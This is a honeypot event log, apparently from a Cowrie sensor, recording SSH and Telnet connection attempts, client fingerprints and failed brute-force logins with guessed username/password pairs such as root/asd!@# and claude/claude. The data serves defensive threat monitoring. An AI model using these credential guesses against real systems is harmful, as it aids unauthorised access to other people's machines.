{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:55.215125Z","src_ip":"77.105.130.18","session":"5664a7dfdbb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42996,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed4609f14754","protocol":"telnet","message":"New connection: 192.119.13.58:42996 (10.17.0.5:23) [session: ed4609f14754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:55.321770Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd!@#","message":"login attempt [root/asd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:55.627169Z","src_ip":"77.105.130.18","session":"5664a7dfdbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:56.059369Z","src_ip":"59.126.224.134","session":"8f545456b999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.369762659072876,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:56.103052Z","src_ip":"192.119.13.58","session":"7324b766731a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:56.725060Z","src_ip":"77.105.130.18","session":"5664a7dfdbb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":12417,"dst_ip":"159.203.135.109","dst_port":22,"session":"540978abea9a","protocol":"ssh","message":"New connection: 103.24.63.85:12417 (159.203.135.109:22) [session: 540978abea9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:59.512325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:59.516933Z","src_ip":"103.24.63.85","session":"540978abea9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:59.716079Z","src_ip":"103.24.63.85","session":"540978abea9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":20966,"dst_ip":"159.203.135.109","dst_port":22,"session":"047b36a7f41f","protocol":"ssh","message":"New connection: 165.154.23.26:20966 (159.203.135.109:22) [session: 047b36a7f41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:59.831163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:59.835655Z","src_ip":"165.154.23.26","session":"047b36a7f41f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:00.057134Z","src_ip":"165.154.23.26","session":"047b36a7f41f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root11root","message":"login attempt [root/root11root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:00.943344Z","src_ip":"165.154.23.26","session":"047b36a7f41f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38296,"dst_ip":"10.17.0.5","dst_port":23,"session":"fee052d16288","protocol":"telnet","message":"New connection: 192.119.13.58:38296 (10.17.0.5:23) [session: fee052d16288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:01.361426Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:02.167292Z","src_ip":"165.154.23.26","session":"047b36a7f41f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":56496,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad9ff4c7647","protocol":"ssh","message":"New connection: 43.135.176.251:56496 (159.203.135.109:22) [session: 9ad9ff4c7647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:04.359960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:04.365699Z","src_ip":"43.135.176.251","session":"9ad9ff4c7647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:04.434359Z","src_ip":"43.135.176.251","session":"9ad9ff4c7647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e,./","message":"login attempt [root/1q2w3e,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:04.742608Z","src_ip":"43.135.176.251","session":"9ad9ff4c7647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.54139995574951,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:04.749453Z","src_ip":"192.119.13.58","session":"44a399769fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":36524,"dst_ip":"159.203.135.109","dst_port":22,"session":"5956033e9a80","protocol":"ssh","message":"New connection: 5.181.124.9:36524 (159.203.135.109:22) [session: 5956033e9a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:05.695472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:05.702159Z","src_ip":"5.181.124.9","session":"5956033e9a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:05.785295Z","src_ip":"5.181.124.9","session":"5956033e9a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:05.815296Z","src_ip":"43.135.176.251","session":"9ad9ff4c7647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlcvlc","message":"login attempt [root/vlcvlc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:06.156376Z","src_ip":"5.181.124.9","session":"5956033e9a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:07.248852Z","src_ip":"5.181.124.9","session":"5956033e9a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:07.514264Z","src_ip":"103.24.63.85","session":"540978abea9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40432,"dst_ip":"10.17.0.5","dst_port":23,"session":"14b1c4c39544","protocol":"telnet","message":"New connection: 192.119.13.58:40432 (10.17.0.5:23) [session: 14b1c4c39544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:08.968000Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55136,"dst_ip":"10.17.0.5","dst_port":23,"session":"21d16e4f7d2d","protocol":"telnet","message":"New connection: 192.119.13.58:55136 (10.17.0.5:23) [session: 21d16e4f7d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:12.941253Z"}
{"eventid":"cowrie.session.closed","duration":37.96142244338989,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:13.159650Z","src_ip":"192.119.13.58","session":"c192d5c7db6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":53038,"dst_ip":"159.203.135.109","dst_port":22,"session":"127893603b7c","protocol":"ssh","message":"New connection: 207.56.225.202:53038 (159.203.135.109:22) [session: 127893603b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:13.591796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:13.597176Z","src_ip":"207.56.225.202","session":"127893603b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:13.762340Z","src_ip":"207.56.225.202","session":"127893603b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55178,"dst_ip":"10.17.0.5","dst_port":23,"session":"45923fdd46ed","protocol":"telnet","message":"New connection: 192.119.13.58:55178 (10.17.0.5:23) [session: 45923fdd46ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:13.970967Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:14.454639Z","src_ip":"207.56.225.202","session":"127893603b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:15.623007Z","src_ip":"207.56.225.202","session":"127893603b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38020,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bbc416875be","protocol":"telnet","message":"New connection: 192.119.13.58:38020 (10.17.0.5:23) [session: 5bbc416875be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:15.840685Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43290,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a6558d1235b","protocol":"telnet","message":"New connection: 192.119.13.58:43290 (10.17.0.5:23) [session: 7a6558d1235b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:17.275140Z"}
{"eventid":"cowrie.session.closed","duration":41.78762197494507,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:17.891545Z","src_ip":"192.119.13.58","session":"7482d5a76d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58360,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c0bbbaae4cb","protocol":"telnet","message":"New connection: 192.119.13.58:58360 (10.17.0.5:23) [session: 3c0bbbaae4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:21.085673Z"}
{"eventid":"cowrie.session.closed","duration":40.15379595756531,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:21.294429Z","src_ip":"192.119.13.58","session":"b4a9f03a40a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00675511360168,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:27.165180Z","src_ip":"186.195.16.41","session":"465648757996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57400,"dst_ip":"10.17.0.5","dst_port":23,"session":"7da341e4f9c4","protocol":"telnet","message":"New connection: 192.119.13.58:57400 (10.17.0.5:23) [session: 7da341e4f9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:27.628630Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":47262,"dst_ip":"159.203.135.109","dst_port":22,"session":"caa106bb638f","protocol":"ssh","message":"New connection: 103.149.28.157:47262 (159.203.135.109:22) [session: caa106bb638f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:27.801435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:27.807843Z","src_ip":"103.149.28.157","session":"caa106bb638f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:28.059226Z","src_ip":"103.149.28.157","session":"caa106bb638f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:28.811021Z","src_ip":"103.149.28.157","session":"caa106bb638f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:30.070869Z","src_ip":"103.149.28.157","session":"caa106bb638f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":35186,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bbd0597479f","protocol":"ssh","message":"New connection: 43.135.177.217:35186 (10.17.0.5:22) [session: 8bbd0597479f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:49:30.596069Z"}
